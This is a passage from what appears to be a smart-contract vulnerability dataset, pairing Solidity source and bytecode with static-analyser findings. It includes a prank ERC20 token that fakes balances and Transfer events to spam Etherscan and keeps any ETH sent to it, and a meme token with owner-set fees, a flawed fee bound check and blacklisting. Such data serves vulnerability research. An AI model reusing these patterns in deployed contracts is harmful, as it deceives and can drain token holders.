17f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b600754610d95908263ffffffff610cf216565b600755600160a060020a038216600090815260056020526040902054610dc1908263ffffffff610cf216565b600160a060020a03831660008181526005602090815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b600160a060020a0382161515610e2e57600080fd5b600754610e41908263ffffffff610bfb16565b600755600160a060020a038216600090815260056020526040902054610e6d908263ffffffff610bfb16565b600160a060020a0383166000818152600560209081526040808320949094558351858152935191937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a35050565b610ed560018263ffffffff61100816565b604051600160a060020a038216907f6ae172837ea30b801fbfcdd4108aa1d5bf8ff775444fd70256b44e6bf3dfc3f690600090a250565b610f1d60018263ffffffff61105616565b604051600160a060020a038216907fe94479a9f7e1952cc78f2d6baab678adc1b772d936c6583def489e524cb6669290600090a250565b6000600160a060020a0382161515610f6b57600080fd5b50600160a060020a03166000908152602091909152604090205460ff1690565b600160a060020a0381161515610fa057600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600160a060020a038116151561101d57600080fd5b6110278282610f54565b1561103157600080fd5b600160a060020a0316600090815260209190915260409020805460ff19166001179055565b600160a060020a038116151561106b57600080fd5b6110758282610f54565b151561108057600080fd5b600160a060020a0316600090815260209190915260409020805460ff191690555600a165627a7a723058204f0629f0af73306f3a241b0fd5121bd1154658d20c89845000740670c25d5d500029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
5,820
0xb554675bed3c928aa1b6bd1d90711f3246baca49
pragma solidity ^0.4.20; // blaze it fgt ^ /* * Team JUST presents... ,----, ,----, ,---._ ,/ .`| ,/ .`| .-- -.' \ .--.--. ,` .' : ,` .' : ,-. | | : ,--, / / '. ; ; / ; ; / ,--/ /| : ; | ,'_ /|| : /`. /.'___,/ ,' .'___,/ ,' ,---. ,--. :/ | ,---, : | .--. | | :; | |--` | : | | : | ' ,'\ : : ' / ,-+-. / | | : :,'_ /| : . || : ;_ ; |.'; ; ; |.'; ; / / || ' / ,---. ,--.'|' | : | ' | | . . \ \ `.`----' | | `----' | |. ; ,. :' | : / \| | ,"' | | ; || | ' | | | `----. \ ' : ; ' : ;' | |: :| | \ / / | | / | | ___ l : | | : ' ; __ \ \ | | | ' | | '' | .; :' : |. \ . ' / | | | | | / /\ J :| ; ' | | ' / /`--' / ' : | ' : || : || | ' \ \' ; /| | | |/ / ../ `..- ,: | : ; ; |'--'. / ; |.' ; |.' \ \ / ' : |--' ' | / | | |--' \ \ ; ' : `--' \ `--'---' '---' '---' `----' ; |,' | : | |/ \ \ ,' : , .-./ '--' \ \ /'---' "---....--' `--`----' `----' * -> What? * [x] If you are reading this it means you have been JUSTED * [x] It looks like an exploit in the way ERC20 is indexed on Etherscan allows malicious users to virally advertise by deploying contracts that look like this. * [x] You pretty much own this token forever, with nothing you can do about it until we pull the UNJUST() function. * [x] Just try to transfer it away, we dare you! * [x] It's kinda like shitposting on the blockchain * [x] Pls fix Papa Vitalik * [x] Also we love your shirts. * * * Also we're required to virally advertise. * Sorry its a requirement * You understand * * Brought to you by the Developers of Powh.io * The first three dimensional cryptocurrency. * https://discord.gg/KJ9wJG8 */ contract ERC20Interface { /* This is a slight change to the ERC20 base standard. function totalSupply() constant returns (uint256 supply); is replaced with: uint256 public totalSupply; This automatically creates a getter function for the totalSupply. This is moved to the base contract since public getter functions are not currently recognised as an implementation of the matching abstract function by the compiler. */ /// total amount of tokens uint256 public totalSupply; /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) public view returns (uint256 balance); /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) public returns (bool success); /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); /// @notice `msg.sender` approves `_spender` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of tokens to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) public returns (bool success); /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) public view returns (uint256 remaining); // solhint-disable-next-line no-simple-event-func-name event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract CST is ERC20Interface { // Standard ERC20 string public name = "CST cryptosocialnetwork.space"; uint8 public decimals = 18; string public symbol = "CST cryptosocialnetwork.space"; // Default balance uint256 public stdBalance; mapping (address => uint256) public bonus; // Owner address public owner; bool public JUSTed; // PSA event Message(string message); function JUST() public { owner = msg.sender; totalSupply = 1337000000000000000 * 1e18; stdBalance = 232 * 1e18; JUSTed = true; } /** * Due to the presence of this function, it is considered a valid ERC20 token. * However, due to a lack of actual functionality to support this function, you can never remove this token from your balance. * RIP. */ function transfer(address _to, uint256 _value) public returns (bool success) { bonus[msg.sender] = bonus[msg.sender] + 1e18; Message("+1 token for you."); Transfer(msg.sender, _to, _value); return true; } /** * Due to the presence of this function, it is considered a valid ERC20 token. * However, due to a lack of actual functionality to support this function, you can never remove this token from your balance. * RIP. */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { bonus[msg.sender] = bonus[msg.sender] + 1e18; Message("+1 token for you."); Transfer(msg.sender, _to, _value); return true; } /** * Once we have sufficiently demonstrated how this 'exploit' is detrimental to Etherescan, we can disable the token and remove it from everyone's balance. * Our intention for this "token" is to prevent a similar but more harmful project in the future that doesn't have your best intentions in mind. */ function UNJUST(string _name, string _symbol, uint256 _stdBalance, uint256 _totalSupply, bool _JUSTed) public { require(owner == msg.sender); name = _name; symbol = _symbol; stdBalance = _stdBalance; totalSupply = _totalSupply; JUSTed = _JUSTed; } /** * Everyone has tokens! * ... until we decide you don't. */ function balanceOf(address _owner) public view returns (uint256 balance) { if(JUSTed){ if(bonus[_owner] > 0){ return stdBalance + bonus[_owner]; } else { return stdBalance; } } else { return 0; } } function approve(address _spender, uint256 _value) public returns (bool success) { return true; } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return 0; } // in case someone accidentally sends ETH to this contract. function() public payable { owner.transfer(this.balance); Message("Thanks for your donation."); } // in case some accidentally sends other tokens to this contract. function rescueTokens(address _address, uint256 _amount) public returns (bool) { return ERC20Interface(_address).transfer(owner, _amount); } }
0x6060604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146101c9578063095ea7b3146102575780630da86f7f146102b157806318160ddd146102de57806323b872dd14610307578063313ce5671461038057806357376198146103af57806370a08231146104095780637ecfb675146104565780638da5cb5b1461047f57806395d89b41146104d45780639954cf2214610562578063a9059cbb14610577578063d8cb4aa3146105d1578063dd62ed3e1461061e578063fdbb9fdb1461068a575b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050151561015f57600080fd5b7f51a7f65c6325882f237d4aeb43228179cfad48b868511d508e24b4437a8191376040518080602001828103825260198152602001807f5468616e6b7320666f7220796f757220646f6e6174696f6e2e0000000000000081525060200191505060405180910390a1005b34156101d457600080fd5b6101dc610747565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561021c578082015181840152602081019050610201565b50505050905090810190601f1680156102495780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561026257600080fd5b610297600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506107e5565b604051808215151515815260200191505060405180910390f35b34156102bc57600080fd5b6102c46107f1565b604051808215151515815260200191505060405180910390f35b34156102e957600080fd5b6102f1610804565b6040518082815260200191505060405180910390f35b341561031257600080fd5b610366600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061080a565b604051808215151515815260200191505060405180910390f35b341561038b57600080fd5b610393610971565b604051808260ff1660ff16815260200191505060405180910390f35b34156103ba57600080fd5b6103ef600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610984565b604051808215151515815260200191505060405180910390f35b341561041457600080fd5b610440600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610a69565b6040518082815260200191505060405180910390f35b341561046157600080fd5b610469610b27565b6040518082815260200191505060405180910390f35b341561048a57600080fd5b610492610b2d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156104df57600080fd5b6104e7610b53565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561052757808201518184015260208101905061050c565b50505050905090810190601f1680156105545780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561056d57600080fd5b610575610bf1565b005b341561058257600080fd5b6105b7600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610c76565b604051808215151515815260200191505060405180910390f35b34156105dc57600080fd5b610608600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ddc565b6040518082815260200191505060405180910390f35b341561062957600080fd5b610674600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610df4565b6040518082815260200191505060405180910390f35b341561069557600080fd5b610745600480803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919080359060200190919080359060200190919080351515906020019091905050610dff565b005b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107dd5780601f106107b2576101008083540402835291602001916107dd565b820191906000526020600020905b8154815290600101906020018083116107c057829003601f168201915b505050505081565b60006001905092915050565b600660149054906101000a900460ff1681565b60005481565b6000670de0b6b3a7640000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f51a7f65c6325882f237d4aeb43228179cfad48b868511d508e24b4437a8191376040518080602001828103825260118152602001807f2b3120746f6b656e20666f7220796f752e00000000000000000000000000000081525060200191505060405180910390a18273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600260009054906101000a900460ff1681565b60008273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515610a4a57600080fd5b5af11515610a5757600080fd5b50505060405180519050905092915050565b6000600660149054906101000a900460ff1615610b1d576000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115610b1357600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600454019050610b22565b6004549050610b22565b600090505b919050565b60045481565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60038054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610be95780601f10610bbe57610100808354040283529160200191610be9565b820191906000526020600020905b815481529060010190602001808311610bcc57829003601f168201915b505050505081565b33600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506f01017f307c0765e369d4773a00000000600081905550680c93a592cfb2a000006004819055506001600660146101000a81548160ff021916908315150217905550565b6000670de0b6b3a7640000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f51a7f65c6325882f237d4aeb43228179cfad48b868511d508e24b4437a8191376040518080602001828103825260118152602001807f2b3120746f6b656e20666f7220796f752e00000000000000000000000000000081525060200191505060405180910390a18273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60056020528060005260406000206000915090505481565b600080905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515610e5b57600080fd5b8460019080519060200190610e71929190610eb8565b508360039080519060200190610e88929190610eb8565b50826004819055508160008190555080600660146101000a81548160ff0219169083151502179055505050505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10610ef957805160ff1916838001178555610f27565b82800160010185558215610f27579182015b82811115610f26578251825591602001919060010190610f0b565b5b509050610f349190610f38565b5090565b610f5a91905b80821115610f56576000816000905550600101610f3e565b5090565b905600a165627a7a72305820af18eece0ea98fc1ce7d5c82274e76fa539bb8f96e3a9f40efdfae9afeb5b8350029
{"success": true, "error": null, "results": {"detectors": [{"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
5,821
0x7a3b79dd77b656a61eb93e0b6448a160b79becb9
/** *Submitted for verification at Etherscan.io on 2022-04-28 */ // Telegram: https://t.me/MaximumFunInu // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract MaximumFun is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private time; uint256 private _tax; uint256 private constant _tTotal = 1 * 10**12 * 10**9; uint256 private fee1=90; uint256 private fee2=90; uint256 private liqfee=20; uint256 private feeMax=100; string private constant _name = "Maximum Fun Inu"; string private constant _symbol = "MAXFUN"; uint256 private _maxTxAmount = _tTotal.mul(2).div(100); uint256 private minBalance = _tTotal.div(1000); uint8 private constant _decimals = 9; address payable private _feeAddrWallet1; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () payable { _feeAddrWallet1 = payable(msg.sender); _tOwned[address(this)] = _tTotal.div(2); _tOwned[0x000000000000000000000000000000000000dEaD] = _tTotal.div(2); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); emit Transfer(address(0),address(this),_tTotal.div(2)); emit Transfer(address(0),address(0x000000000000000000000000000000000000dEaD),_tTotal.div(2)); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _tOwned[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function changeFees(uint8 _fee1,uint8 _fee2,uint8 _liq) external { require(_msgSender() == _feeAddrWallet1); require(_fee1 <= feeMax && _fee2 <= feeMax && liqfee <= feeMax,"Cannot set fees above maximum"); fee1 = _fee1; fee2 = _fee2; liqfee = _liq; } function changeMinBalance(uint256 newMin) external { require(_msgSender() == _feeAddrWallet1); minBalance = newMin; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _tax = fee1.add(liqfee); if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && (block.timestamp < time)){ // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _tax = fee2.add(liqfee); } if (!inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from]) { require(block.timestamp > time,"Sells prohibited for the first 5 minutes"); uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > minBalance){ swapAndLiquify(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } } _transferStandard(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function swapAndLiquify(uint256 tokenAmount) private { uint256 half = liqfee.div(2); uint256 part = fee2.add(half); uint256 sum = fee2.add(liqfee); uint256 swapTotal = tokenAmount.mul(part).div(sum); swapTokensForEth(swapTotal); addLiquidity(tokenAmount.sub(swapTotal),address(this).balance.mul(half).div(part),_feeAddrWallet1); } function addLiquidity(uint256 tokenAmount,uint256 ethAmount,address target) private lockTheSwap{ _approve(address(this),address(uniswapV2Router),tokenAmount); uniswapV2Router.addLiquidityETH{value: ethAmount}(address(this),tokenAmount,0,0,target,block.timestamp); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); addLiquidity(balanceOf(address(this)),address(this).balance,owner()); swapEnabled = true; tradingOpen = true; time = block.timestamp + (5 minutes); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 transferAmount,uint256 tfee) = _getTValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _tOwned[recipient] = _tOwned[recipient].add(transferAmount); _tOwned[address(this)] = _tOwned[address(this)].add(tfee); emit Transfer(sender, recipient, transferAmount); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapAndLiquify(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getTValues(uint256 tAmount) private view returns (uint256, uint256) { uint256 tFee = tAmount.mul(_tax).div(1000); uint256 tTransferAmount = tAmount.sub(tFee); return (tTransferAmount, tFee); } function recoverTokens(address tokenAddress) external { require(_msgSender() == _feeAddrWallet1); IERC20 recoveryToken = IERC20(tokenAddress); recoveryToken.transfer(_feeAddrWallet1,recoveryToken.balanceOf(address(this))); } }
0x6080604052600436106101185760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb14610339578063b515566a14610359578063c3c8cd8014610379578063c9567bf91461038e578063dd62ed3e146103a357600080fd5b806370a0823114610277578063715018a6146102ad5780637e37e9bb146102c25780638da5cb5b146102e257806395d89b411461030a57600080fd5b806323b872dd116100e757806323b872dd146101e6578063273123b714610206578063313ce567146102265780634ea18fab146102425780636fc3eaec1461026257600080fd5b806306fdde0314610124578063095ea7b31461016e57806316114acd1461019e57806318160ddd146101c057600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5060408051808201909152600f81526e4d6178696d756d2046756e20496e7560881b60208201525b60405161016591906116c8565b60405180910390f35b34801561017a57600080fd5b5061018e61018936600461150b565b6103e9565b6040519015158152602001610165565b3480156101aa57600080fd5b506101be6101b9366004611457565b610400565b005b3480156101cc57600080fd5b50683635c9adc5dea000005b604051908152602001610165565b3480156101f257600080fd5b5061018e6102013660046114ca565b61052d565b34801561021257600080fd5b506101be610221366004611457565b610596565b34801561023257600080fd5b5060405160098152602001610165565b34801561024e57600080fd5b506101be61025d366004611625565b6105ea565b34801561026e57600080fd5b506101be61060f565b34801561028357600080fd5b506101d8610292366004611457565b6001600160a01b031660009081526002602052604090205490565b3480156102b957600080fd5b506101be61063c565b3480156102ce57600080fd5b506101be6102dd366004611685565b6106b0565b3480156102ee57600080fd5b506000546040516001600160a01b039091168152602001610165565b34801561031657600080fd5b5060408051808201909152600681526526a0ac232aa760d11b6020820152610158565b34801561034557600080fd5b5061018e61035436600461150b565b61075a565b34801561036557600080fd5b506101be610374366004611537565b610767565b34801561038557600080fd5b506101be6107fd565b34801561039a57600080fd5b506101be610836565b3480156103af57600080fd5b506101d86103be366004611491565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b60006103f63384846109d6565b5060015b92915050565b600f546001600160a01b0316336001600160a01b03161461042057600080fd5b600f546040516370a0823160e01b815230600482015282916001600160a01b038084169263a9059cbb92919091169083906370a082319060240160206040518083038186803b15801561047257600080fd5b505afa158015610486573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104aa919061163e565b6040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401602060405180830381600087803b1580156104f057600080fd5b505af1158015610504573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105289190611603565b505050565b600061053a848484610afa565b61058c8433610587856040518060600160405280602881526020016118a6602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610edd565b6109d6565b5060019392505050565b6000546001600160a01b031633146105c95760405162461bcd60e51b81526004016105c09061171d565b60405180910390fd5b6001600160a01b03166000908152600560205260409020805460ff19169055565b600f546001600160a01b0316336001600160a01b03161461060a57600080fd5b600e55565b600f546001600160a01b0316336001600160a01b03161461062f57600080fd5b4761063981610f17565b50565b6000546001600160a01b031633146106665760405162461bcd60e51b81526004016105c09061171d565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600f546001600160a01b0316336001600160a01b0316146106d057600080fd5b600c548360ff16111580156106ea5750600c548260ff1611155b80156106fa5750600c54600b5411155b6107465760405162461bcd60e51b815260206004820152601d60248201527f43616e6e6f742073657420666565732061626f7665206d6178696d756d00000060448201526064016105c0565b60ff928316600955908216600a5516600b55565b60006103f6338484610afa565b6000546001600160a01b031633146107915760405162461bcd60e51b81526004016105c09061171d565b60005b81518110156107f9576001600560008484815181106107b5576107b5611864565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806107f181611833565b915050610794565b5050565b600f546001600160a01b0316336001600160a01b03161461081d57600080fd5b3060009081526002602052604090205461063981610f51565b6000546001600160a01b031633146108605760405162461bcd60e51b81526004016105c09061171d565b601154600160a01b900460ff16156108ba5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016105c0565b306000908152600260205260409020546108e690476108e16000546001600160a01b031690565b610fec565b6011805462ff00ff60a01b19166201000160a01b1790556109094261012c6117c3565b600755565b60008261091d575060006103fa565b600061092983856117fd565b90508261093685836117db565b1461098d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105c0565b9392505050565b600061098d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506110ce565b6001600160a01b038316610a385760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105c0565b6001600160a01b038216610a995760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105c0565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b5e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105c0565b6001600160a01b038216610bc05760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105c0565b60008111610c225760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105c0565b600b54600954610c31916110fc565b6008556000546001600160a01b03848116911614801590610c6057506000546001600160a01b03838116911614155b15610ed2576001600160a01b03831660009081526005602052604090205460ff16158015610ca757506001600160a01b03821660009081526005602052604090205460ff16155b610cb057600080fd5b6011546001600160a01b038481169116148015610cdb57506010546001600160a01b03838116911614155b8015610d0057506001600160a01b03821660009081526004602052604090205460ff16155b8015610d0d575060075442105b15610d6a57600d54811115610d2157600080fd5b6001600160a01b0382166000908152600660205260409020544211610d4557600080fd5b610d5042601e6117c3565b6001600160a01b0383166000908152600660205260409020555b6011546001600160a01b038381169116148015610d9557506010546001600160a01b03848116911614155b8015610dba57506001600160a01b03831660009081526004602052604090205460ff16155b15610dd257600b54600a54610dce916110fc565b6008555b601154600160a81b900460ff16158015610dfa57506011546001600160a01b03848116911614155b8015610e0f5750601154600160b01b900460ff165b8015610e3457506001600160a01b03831660009081526004602052604090205460ff16155b15610ed2576007544211610e9b5760405162461bcd60e51b815260206004820152602860248201527f53656c6c732070726f6869626974656420666f72207468652066697273742035604482015267206d696e7574657360c01b60648201526084016105c0565b30600090815260026020526040902054600e54811115610ed057610ebe81610f51565b478015610ece57610ece47610f17565b505b505b61052883838361115b565b60008184841115610f015760405162461bcd60e51b81526004016105c091906116c8565b506000610f0e848661181c565b95945050505050565b600f546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156107f9573d6000803e3d6000fd5b600b54600090610f62906002610994565b90506000610f7b82600a546110fc90919063ffffffff16565b90506000610f96600b54600a546110fc90919063ffffffff16565b90506000610fae82610fa8878661090e565b90610994565b9050610fb981611247565b610fe5610fc686836113bb565b610fd485610fa8478961090e565b600f546001600160a01b0316610fec565b5050505050565b6011805460ff60a81b1916600160a81b1790556010546110179030906001600160a01b0316856109d6565b60105460405163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b0383811660848301524260a48301529091169063f305d71990849060c4016060604051808303818588803b1580